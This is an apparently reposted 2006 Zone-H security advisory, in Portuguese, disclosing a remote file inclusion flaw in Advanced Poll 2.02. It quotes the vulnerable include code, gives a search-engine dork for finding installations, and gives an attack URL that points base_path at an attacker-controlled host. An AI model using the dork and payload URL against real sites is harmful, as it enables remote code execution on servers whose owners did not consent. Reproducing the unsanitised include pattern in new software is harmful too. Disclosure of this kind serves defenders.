Zone-H - Unrestricted Information - Advanced Poll ver 2.02 (base

Advanced Poll ver 2.02 (base_path) Inclusão de arquivos remoto

Por Marcelo Almeida (Vympel)

22 de julho de 2006

Advanced Poll ver 2.02 (base_path) Inclusão de arquivos remoto

Site do desenvolvedor: http://www.proxy2.de/scripts.php
Bug encontrado por: Solpot a.k.a (k. Hasibuan)

mail: Este endereço de e-mail está sendo protegido de spam, você precisa de Javascript habilitado para vê-lo
Greetz: choi , cow_1seng , Ibnusina , Lappet_tutung , h4ntu , r4dja , L0sTBoy , Matdhule , setiawan , barbarosa, NpR , Fungky , Blue|spy home_edition2001 , Rendy ,Tje , m3lky , no-profile and all crew mardongan @ irc.dal.net

fonte do arquivo /admin/common.inc.php
$pollvars['SELF'] = basename($PHP_SELF);
if (file_exists("$base_path/lang/$pollvars[lang]")) {
include ("$base_path/lang/$pollvars[lang]");
} else {
include ("$base_path/lang/english.php");

dica de busca : inurl:comments.php?action= send id

Falha :
http://algumsite/[path_advanced_poll]/admin/common.inc.php?base_path=http://atacante

Aviso original: Solpot

< Anterior		Próximo >

[Voltar]